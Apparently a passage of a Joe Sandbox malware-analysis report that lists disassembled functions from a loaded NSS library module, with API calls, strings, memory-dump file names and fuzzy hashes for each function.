SEC_QuickDERDecodeItem_Util.NSS3(?,?,6CC99500,6CB73F91), ref: 6CB7AFD2

Part of subcall function 6CBCB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CCA18D0,?), ref: 6CBCB095

DER_GetInteger_Util.NSS3(?), ref: 6CB7B007

Part of subcall function 6CBC6A90: PR_SetError.NSS3(FFFFE009,00000000,?,00000000,?,6CB71666,?,6CB7B00C,?), ref: 6CBC6AFB

PR_SetError.NSS3(FFFFE009,00000000), ref: 6CB7B02F
PR_CallOnce.NSS3(6CCD2AA4,6CBD12D0), ref: 6CB7B046
PL_FreeArenaPool.NSS3 ref: 6CB7B058
PL_FinishArenaPool.NSS3 ref: 6CB7B060

Strings

security, xrefs: 6CB7AFB8

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: ArenaErrorPool$Util$CallDecodeFinishFreeInitInteger_Item_OnceQuick
String ID: security
API String ID: 3627567351-3315324353
Opcode ID: cf2f92270c63a962bfebd0cc75c328c040e492e88dcc67a71d1d6bcb80de95ec
Instruction ID: ce372252ee94e99680441785676139718790f04c43436f66eae769b439f13fa4
Opcode Fuzzy Hash: cf2f92270c63a962bfebd0cc75c328c040e492e88dcc67a71d1d6bcb80de95ec
Instruction Fuzzy Hash: 933108714043809BDB208F149849BAA77A8EF4636CF10061DFD799BBD1E3329549CBA7

Function 6CBBCC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6CBBCD08
PK11_DoesMechanism.NSS3(?,?), ref: 6CBBCE16
PR_SetError.NSS3(00000000,00000000), ref: 6CBBD079

Part of subcall function 6CC1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC1C2BF

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: ad7df415beff1294a7557b7c20038cf2fb65fa273f718d91fafd1ae9f01ad699
Instruction ID: 36569b8c3af923b7b3f3ceb7acaadb2fda4895bd8552a5c55209afb9bbdc2b54
Opcode Fuzzy Hash: ad7df415beff1294a7557b7c20038cf2fb65fa273f718d91fafd1ae9f01ad699
Instruction Fuzzy Hash: 4BC190B5A002599BDB10CF24DC80BEAB7B4FF48318F1441A8E948A7741EB75EE95CF91

Function 6CB72C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(B67A13E6), ref: 6CB72C5D

Part of subcall function 6CBD0D30: calloc.MOZGLUE ref: 6CBD0D50
Part of subcall function 6CBD0D30: TlsGetValue.KERNEL32 ref: 6CBD0D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6CB72C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CB72CE0

Part of subcall function 6CB72E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CB72CDA,?,00000000), ref: 6CB72E1E
Part of subcall function 6CB72E00: SECITEM_DupItem_Util.NSS3(?), ref: 6CB72E33
Part of subcall function 6CB72E00: TlsGetValue.KERNEL32 ref: 6CB72E4E
Part of subcall function 6CB72E00: EnterCriticalSection.KERNEL32(?), ref: 6CB72E5E
Part of subcall function 6CB72E00: PL_HashTableLookup.NSS3(?), ref: 6CB72E71
Part of subcall function 6CB72E00: PL_HashTableRemove.NSS3(?), ref: 6CB72E84
Part of subcall function 6CB72E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6CB72E96
Part of subcall function 6CB72E00: PR_Unlock.NSS3 ref: 6CB72EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB72D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6CB72D30
CERT_MakeCANickname.NSS3(00000001), ref: 6CB72D3F
free.MOZGLUE(00000000), ref: 6CB72D73
CERT_DestroyCertificate.NSS3(?), ref: 6CB72DB8
free.MOZGLUE ref: 6CB72DC8

Part of subcall function 6CB73E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CB73EC2
Part of subcall function 6CB73E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CB73ED6
Part of subcall function 6CB73E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CB73EEE
Part of subcall function 6CB73E60: PR_CallOnce.NSS3(6CCD2AA4,6CBD12D0), ref: 6CB73F02
Part of subcall function 6CB73E60: PL_FreeArenaPool.NSS3 ref: 6CB73F14
Part of subcall function 6CB73E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CB73F27

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: 2a6d7bb44ec6d1b14456d4c3a99063ad9eefba1d83cde3132f7880ca1cb07d89
Instruction ID: ace360ab2786dd28e0307a8385db227c2c2872e625e37bb4db8b983fab5becf0
Opcode Fuzzy Hash: 2a6d7bb44ec6d1b14456d4c3a99063ad9eefba1d83cde3132f7880ca1cb07d89
Instruction Fuzzy Hash: E651DD71A04261DFEB209E29DD89B5B77E5EF94348F14042CEC6993750EB31E8158BA3

Function 6CB98F70 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6CB8DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CB98FAF
PR_Now.NSS3(?,?,00000002,?,?,?,6CB8DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CB98FD1
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CB8DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CB98FFA
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CB8DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CB99013
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CB8DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CB99042
TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6CB8DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6CB9905A
EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6CB8DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6CB99073
PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CB8DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CB990EC

Part of subcall function 6CB60F00: PR_GetPageSize.NSS3(6CB60936,FFFFE8AE,?,6CAF16B7,00000000,?,6CB60936,00000000,?,6CAF204A), ref: 6CB60F1B
Part of subcall function 6CB60F00: PR_NewLogModule.NSS3(clock,6CB60936,FFFFE8AE,?,6CAF16B7,00000000,?,6CB60936,00000000,?,6CAF204A), ref: 6CB60F25

PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6CB8DA9B,?,00000000,?,?,?,?,CE534353), ref: 6CB99111

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValue$InternalK11_ModulePageSizeSlot
String ID:
API String ID: 2831689957-0
Opcode ID: 16395078d60e8027c7edacbc9acbce111b4955c20f39fb8d3bec7a07e3b506e4
Instruction ID: acd4f7719eebcafc7e69da479d3787eaeb7e6bfb0b01a633642924e97a5832e6
Opcode Fuzzy Hash: 16395078d60e8027c7edacbc9acbce111b4955c20f39fb8d3bec7a07e3b506e4
Instruction Fuzzy Hash: E1517674A046948FDF40EF39C488299BBF4FF0A318F0555A9DC499BB05EB31E885CB92

Function 6CB78980 Relevance: 13.6, APIs: 9, Instructions: 150memoryCOMMON

Download Yara Rule

APIs

PORT_FreeArena_Util.NSS3(00000000,00000000,00000000,?,00000028,?,?,6CB77310), ref: 6CB789B8

Part of subcall function 6CBD1200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6CB788A4,00000000,00000000), ref: 6CBD1228
Part of subcall function 6CBD1200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6CBD1238
Part of subcall function 6CBD1200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6CB788A4,00000000,00000000), ref: 6CBD124B
Part of subcall function 6CBD1200: PR_CallOnce.NSS3(6CCD2AA4,6CBD12D0,00000000,00000000,00000000,?,6CB788A4,00000000,00000000), ref: 6CBD125D
Part of subcall function 6CBD1200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6CBD126F
Part of subcall function 6CBD1200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6CBD1280
Part of subcall function 6CBD1200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6CBD128E
Part of subcall function 6CBD1200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6CBD129A
Part of subcall function 6CBD1200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6CBD12A1

PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000000,?,00000028,?,?,6CB77310), ref: 6CB789E6
PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000004,?), ref: 6CB78A00
CERT_CopyRDN.NSS3(00000004,00000000,6CB77310,?,?,00000004,?), ref: 6CB78A1B
PORT_ArenaGrow_Util.NSS3(00000004,00000000,?,?,?,?,?,?,?,00000004,?), ref: 6CB78A74
PR_SetError.NSS3(FFFFE005,00000000,00000000,?,00000028,?,?,6CB77310), ref: 6CB78AAF
PORT_ArenaAlloc_Util.NSS3(00000004,00000008,00000000,?,00000028,?,?,6CB77310), ref: 6CB78AF3
PORT_ArenaGrow_Util.NSS3(00000004,?,C8850FC0,00000000,00000000,?,00000028,?,?,6CB77310), ref: 6CB78B1D

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Arena$Util$Alloc_$CriticalFreeGrow_PoolSectionfree$Arena_CallClearCopyDeleteEnterErrorOnceUnlockValue
String ID:
API String ID: 3791662518-0
Opcode ID: 3e718ccd6bab1a6fedfd2d9a6eb7fe1c954d190e0ed5511cbc5e350e8e81dcb0
Instruction ID: 4ee71c49253715e7153a9aa255f3425be81ded3e2bf27304a07fcfacba9db197
Opcode Fuzzy Hash: 3e718ccd6bab1a6fedfd2d9a6eb7fe1c954d190e0ed5511cbc5e350e8e81dcb0
Instruction Fuzzy Hash: A051D875601250AFEB208F54CC40B6A77B8EF4272CF15815AEC25BB791E733E905CBA2

Function 6CB0E890 Relevance: 12.4, APIs: 5, Strings: 3, Instructions: 442stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6CB0E922
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CB0E9CF
memcpy.VCRUNTIME140(00000024,?,?), ref: 6CB0EA0F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CB0EB20
memcpy.VCRUNTIME140(?,?,?), ref: 6CB0EB57

Strings

foreign key on %s should reference only one column of table %T, xrefs: 6CB0EE04
number of columns in foreign key does not match the number of columns in the referenced table, xrefs: 6CB0EDC2
unknown column "%s" in foreign key definition, xrefs: 6CB0ED18

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: memcpystrlen$memset
String ID: foreign key on %s should reference only one column of table %T$number of columns in foreign key does not match the number of columns in the referenced table$unknown column "%s" in foreign key definition
API String ID: 638109778-272990098
Opcode ID: 21b6bfcdaabbbbb570704e0447db2d69805f47dc2c81c39e7d4f0a15b6168c32
Instruction ID: 22465f845211382cd30ae4bcb43bcf169e2a99293c878f69d0f8d9019b9ebe69
Opcode Fuzzy Hash: 21b6bfcdaabbbbb570704e0447db2d69805f47dc2c81c39e7d4f0a15b6168c32
Instruction Fuzzy Hash: 4A02A071F05599CFDB04CF99C4C0AAEBBB2FF89308F1841A9D895AB751D731A841CBA1

Function 6CBD4DF0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 184memoryCOMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,00000022,?,?,6CBD536F,00000022,?,?,00000000,?), ref: 6CBD4E70
PORT_ZAlloc_Util.NSS3(00000000), ref: 6CBD4F28
PR_smprintf.NSS3(%s=%s,?,00000000), ref: 6CBD4F8E
PR_smprintf.NSS3(%s=%c%s%c,?,?,00000000,?), ref: 6CBD4FAE
free.MOZGLUE(?), ref: 6CBD4FC8

Strings

%s=%c%s%c, xrefs: 6CBD4FA9
%s=%s, xrefs: 6CBD4F89

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: R_smprintf$Alloc_Utilfreeisspace
String ID: %s=%c%s%c$%s=%s
API String ID: 2709355791-2032576422
Opcode ID: 321d08734095c7522893fe6fc8f6e7312a5ba9ccd00876f5938c6f98c5c73256
Instruction ID: 2ce15dff59533a1aa5f1fc94f4ac7681c0dd8e72a4fb808d1bc839ad0fa7c949
Opcode Fuzzy Hash: 321d08734095c7522893fe6fc8f6e7312a5ba9ccd00876f5938c6f98c5c73256
Instruction Fuzzy Hash: 4A514871A051C7ABEF05CB6AC4907FF7BF5DF46308F1A8125E898A7A40D325A8058F93

Function 6CB669A0 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 162COMMON

Download Yara Rule

APIs

Part of subcall function 6CAFCA30: EnterCriticalSection.KERNEL32(?,?,?,6CB5F9C9,?,6CB5F4DA,6CB5F9C9,?,?,6CB2369A), ref: 6CAFCA7A
Part of subcall function 6CAFCA30: LeaveCriticalSection.KERNEL32(?), ref: 6CAFCB26

memset.VCRUNTIME140(00000000,00000000,?), ref: 6CB66A02
EnterCriticalSection.KERNEL32(?), ref: 6CB66AA6
LeaveCriticalSection.KERNEL32(?), ref: 6CB66AF9
sqlite3_free.NSS3(00000000), ref: 6CB66B15
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,?,0000BCCC), ref: 6CB66BA6

Strings

winDelete, xrefs: 6CB66B71
delayed %dms for lock/sharing conflict at line %d, xrefs: 6CB66B9F

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memsetsqlite3_freesqlite3_log
String ID: delayed %dms for lock/sharing conflict at line %d$winDelete
API String ID: 1816828315-1405699761
Opcode ID: 91dcab08729273bc7f45602692f3b74ad5f6424c66d0c56d7c3929470e32dfe4
Instruction ID: 62790fc7e684ff173f7d197fdea43b62cb389e64862de1df63e83106b3791715
Opcode Fuzzy Hash: 91dcab08729273bc7f45602692f3b74ad5f6424c66d0c56d7c3929470e32dfe4
Instruction Fuzzy Hash: AA51E831B001459FEB08AFB6DC5AABE3775EF87314B14412DE516D7A80DB34AA06CBD2

Function 6CC42F70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 123stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC42FFD
sqlite3_initialize.NSS3 ref: 6CC43007
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6CC43032
sqlite3_mprintf.NSS3(6CCAAAF9,?), ref: 6CC43073
sqlite3_free.NSS3(?), ref: 6CC430B3
sqlite3_mprintf.NSS3(sqlite3_get_table() called with two or more incompatible queries), ref: 6CC430C0

Strings

sqlite3_get_table() called with two or more incompatible queries, xrefs: 6CC430BB

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: sqlite3_mprintf$memcpysqlite3_freesqlite3_initializestrlen
String ID: sqlite3_get_table() called with two or more incompatible queries
API String ID: 750880481-4279182443
Opcode ID: 171e0b45eb6efd9f9ee4ff9175fa0b7d93bf64cba3eda8bfff0865a24c657718
Instruction ID: c699bef878fae45702fdab59b58b6bd76cddb53349e40ad2660b8b93a6f7b536
Opcode Fuzzy Hash: 171e0b45eb6efd9f9ee4ff9175fa0b7d93bf64cba3eda8bfff0865a24c657718
Instruction Fuzzy Hash: FD41A171600606ABDB10CF25D880A8AB7A5FF84369F18C629EC5987B40F731F996CBD1

Function 6CB88CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6CB9124D,00000001), ref: 6CB88D19
EnterCriticalSection.KERNEL32(?,?,?,?,6CB9124D,00000001), ref: 6CB88D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6CB9124D,00000001), ref: 6CB88D73
PR_Unlock.NSS3(?,?,?,?,?,6CB9124D,00000001), ref: 6CB88D8C

Part of subcall function 6CC1DD70: TlsGetValue.KERNEL32 ref: 6CC1DD8C
Part of subcall function 6CC1DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CC1DDB4

PR_Unlock.NSS3(?,?,?,?,?,6CB9124D,00000001), ref: 6CB88DBA

Strings

KRAM, xrefs: 6CB88D3E
KRAM, xrefs: 6CB88CF9

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: 12d15088c0ecbe1df9feaaf61a3932292035499f569a0fdff4c80c90c2795eeb
Instruction ID: d3b223f9fa7318d13f05b7c82678ce222d8ef188304024701232e8167da86e83
Opcode Fuzzy Hash: 12d15088c0ecbe1df9feaaf61a3932292035499f569a0fdff4c80c90c2795eeb
Instruction Fuzzy Hash: 61219CB5A056518FCB00EF39C48466EBBF0FF45318F15896ED8988B701EB31E842CB92

Function 6CBAACC0 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageDecryptFinal), ref: 6CBAACE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CBAAD14
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CBAAD23

Part of subcall function 6CC8D930: PL_strncpyz.NSS3(?,?,?), ref: 6CC8D963

PR_LogPrint.NSS3(?,00000000), ref: 6CBAAD39

Strings

(CK_INVALID_HANDLE), xrefs: 6CBAAD1C
hSession = 0x%x, xrefs: 6CBAACFE, 6CBAAD0E
C_MessageDecryptFinal, xrefs: 6CBAACE1

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: L_strncpyzPrint$L_strcatn
String ID: hSession = 0x%x$ (CK_INVALID_HANDLE)$C_MessageDecryptFinal
API String ID: 332880674-3521875567
Opcode ID: 5202b2a557f2e05a0b2b5ae02d5d977ea30070c0cf51fd86c17acdf4d14fec79
Instruction ID: 72435d89563b4900be81b635656f6edf33a0cafd4740fe28ba151464cdb165cb
Opcode Fuzzy Hash: 5202b2a557f2e05a0b2b5ae02d5d977ea30070c0cf51fd86c17acdf4d14fec79
Instruction Fuzzy Hash: 43212F706051A4AFDB009B94DC98B9F7775EB4230EF044469E48A97611EB34BC4ACFA2

Function 6CC80ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6CC80EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6CC80EFA

Part of subcall function 6CB6AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6CB6AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC80F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC80F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC80F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC80F2B

Strings

Assertion failure: %s, at %s:%d, xrefs: 6CC80ED9, 6CC80EE5, 6CC80F06, 6CC80F0B
Aborting, xrefs: 6CC80EB3

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
